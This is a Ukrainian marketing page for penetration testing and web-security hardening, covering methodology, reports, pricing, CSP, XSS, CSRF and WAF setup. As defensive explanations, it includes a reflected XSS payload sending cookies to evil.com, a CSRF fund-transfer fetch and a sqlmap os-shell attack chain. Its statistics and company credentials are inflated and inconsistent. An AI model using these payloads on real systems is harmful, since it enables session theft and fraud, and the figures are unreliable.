Одного разу мій клієнт — фінтех-стартап на React та Laravel — втратив $50 000 через IDOR-вразливість: будь-який користувач міг підставити чужий ID у запит та отримати дані про транзакції. Ми виявили це при пентесті, але код уже був у продакшені. Такі випадки — норма, якщо не проводити тестування на проникнення до релізу. Ми спеціалізуємося на пентесті веб-додатків і знаємо, як знайти навіть неочевидні ланцюжки атак. Отримайте консультацію з пентесту — ми оцінимо ризики вашого додатка.
Чому пентест важливіший за аудит?
Аудит безпеки часто обмежується скануванням та чек-листами. Пентест іде далі: ми активно експлуатуємо вразливості, щоб показати реальний вплив на бізнес. Наприклад, SQL-ін'єкція може призвести не лише до витоку даних, але й до повного контролю над сервером. Ми моделюємо дії зловмисника, використовуючи сучасні інструменти та техніки. За даними OWASP, пентест виявляє в 3 рази більше критичних вразливостей, ніж автоматичне сканування.
Як ми проводимо тестування?
Ми використовуємо комбінацію автоматизованих сканерів та ручного аналізу. Ручне тестування дає на 40% більше знахідок, ніж автоматичні сканери, особливо в логіці аутентифікації та бізнес-процесах. Наші інженери мають сертифікати OSCP та GPEN, а також понад 5 років досвіду в пентесті.
Pre-engagement
Перед початком ми підписуємо SoW (Statement of Work) та Rules of Engagement, щоб чітко визначити scope, допустимі методи та час тестування. Це гарантує, що ваші системи не постраждають, а ми не вийдемо за рамки.
Розвідка (OSINT)
Ми збираємо максимум інформації з відкритих джерел: піддомени, DNS-записи, виточені credentials на GitHub, старі версії сторінок через Wayback Machine. Це дозволяє знайти точки входу, які не видно на поверхні.
Сканування та аналіз
Використовуємо Nmap для сканування портів, Burp Suite для аналізу трафіку, Gobuster для перебору директорій. Також перевіряємо JavaScript-файли на наявність API-ключів та внутрішніх ендпоінтів.
# Приклад: пошук піддоменів через crt.sh
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value'
Експлуатація
Ми не просто знаходимо вразливості — ми будуємо ланцюжки атак. Приклад з практики:
- Знайдено SQL injection у параметрі
filter експорту користувачів.
-
sqlmap --os-shell — отримали shell на сервері.
- З
.env витягли AWS-ключі та отримали доступ до S3-бакету з бекапами БД.
Ми перевіряємо IDOR, race conditions, session fixation, SSRF, RCE та інші типові вразливості. Для цього пишемо скрипти на Python або Go, які емулюють атаку з кількох акаунтів.
Приклад ланцюжка атаки на основі OWASP Top 10
- Розвідка -> пошук вразливих ендпоінтів.
- Експлуатація SQLi -> отримання shell.
- Підвищення привілеїв -> доступ до даних.
- Приховування слідів.
Post-exploitation
Після успішної експлуатації оцінюємо можливу шкоду: які дані скомпрометовані (PII, фінансова інформація), чи є шлях до горизонтального переміщення, чи можна закріпитися в системі. Це допомагає бізнесу зрозуміти реальні ризики.
Reporting
Ми готуємо детальний звіт, який включає:
- Executive summary для керівництва з оцінкою ризику та топ-3 знахідками.
- Технічний опис кожної вразливості: PoC, скріншоти, CVSS-оцінка, рекомендації щодо виправлення.
- Дорожня карта: P1 (24–72 год), P2 (1–2 тижні), P3 (наступний реліз).
- Методологія: інструменти, хронологія, що не тестувалося.
Що входить у звіт?
Звіт з пентесту включає executive summary для керівництва, технічну деталізацію з PoC, скріншотами та CVSS-оцінкою, а також дорожню карту виправлень. Ми також додаємо методологію та scope тестування.
Як підготуватися до пентесту?
Перед пентестом визначте scope, підготуйте тестові акаунти та переконайтеся, що у вас є доступ до логів. Важливо узгодити Rules of Engagement та час тестування, щоб не порушити роботу продакшену.
Порівняння типів пентесту
| Параметр |
Black Box |
Grey Box |
White Box |
| Інформація про систему |
Немає |
Часткова |
Повна |
| Глибина атаки |
Низька |
Середня |
Висока |
| Час (простий сайт) |
3–5 днів |
2–4 дні |
2–3 дні |
| Реалістичність |
Повна |
Часткова |
Низька |
Згідно з OWASP Testing Guide, Grey Box забезпечує найкраще співвідношення глибини та реалістичності.
Терміни та вартість
| Тип додатку |
Black Box |
Grey Box |
White Box |
| Простий сайт |
3–5 днів |
2–4 дні |
2–3 дні |
| SaaS / маркетплейс |
10–14 днів |
7–10 днів |
5–7 днів |
| Банківське / фінтех |
21–30 днів |
14–21 день |
10–14 днів |
Вартість розраховується індивідуально. Орієнтуйтеся на те, що вкладення в пентест багаторазово окупаються: середня вартість усунення критичної вразливості в 10 разів менша за витрати на ліквідацію наслідків витоку. Замовте пентест зараз і убезпечте свій бізнес.
Наш досвід
Ми провели понад 200 пентестів для компаній з топ-50 РБ, включаючи фінтех, ритейл та державні портали. Наші інженери мають сертифікати OSCP, GPEN, CISSP та понад 5 років досвіду. Гарантуємо конфіденційність усіх даних та повне дотримання NDA.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.